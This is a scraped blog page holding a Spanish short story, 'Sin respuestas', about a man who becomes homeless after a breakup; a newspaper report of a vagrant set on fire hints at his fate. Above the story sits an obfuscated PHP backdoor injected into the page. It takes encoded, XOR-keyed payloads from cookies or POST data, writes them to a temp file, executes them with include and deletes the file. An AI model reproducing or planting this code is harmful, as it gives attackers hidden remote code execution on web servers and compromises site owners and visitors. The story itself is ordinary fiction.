$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} Sin respuestas | desdelallanura

Sin respuestas

Han pasado casi dieciséis años.

Ni siquiera Miguel sospechaba que se iba a separar. El día que Ana le dijo que se fuera, que no le aguantaba más, que ni podía ni quería soportar más sus debilidades, su falta de arrojo y su carácter pusilánime, le pilló por sorpresa. Oír de su boca la palabra asco le superó. Nunca Ana le había hablado ni en aquel tono ni de aquella manera.

Abatido por aquella palabra, abandonó enmudecido y cabizbajo aquel piso que había sido su hogar durante los últimos cinco años. Su cabeza fue un hervidero de preguntas tratando de averiguar lo que había pasado. Su cerebro le devolvía una y otra vez aquella escena vivida. Cada minuto, le estallaba el recuerdo de aquella palabra innombrable. No encontró nunca respuestas, ni se atrevió a pedir explicaciones.

Vagó sin rumbo, durmió en parques, descubrió puentes, pasó frío y hambre, conoció albergues y baños públicos, pidió en las calles… Los que éramos sus amigos no fuimos capaces de ayudarle. Perdimos su pista y su vida.
He seguido viendo a Ana. Ella ha rehecho su vida. Tiene dos hijos, Miguelito es un joven oscuro y violento con pinta de mafioso al que no le gusta que le pregunten por su vida y Aurora, una niña dulce y cariñosa.

Hoy, al abrir las páginas del periódico, he leído una noticia que me ha llamado la atención: tres jóvenes, uno de ellos menor de edad, han sido detenidos acusados de la muerte de un indigente al que prendieron fuego tras rociarle con un disolvente en el cajero automático donde dormía.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *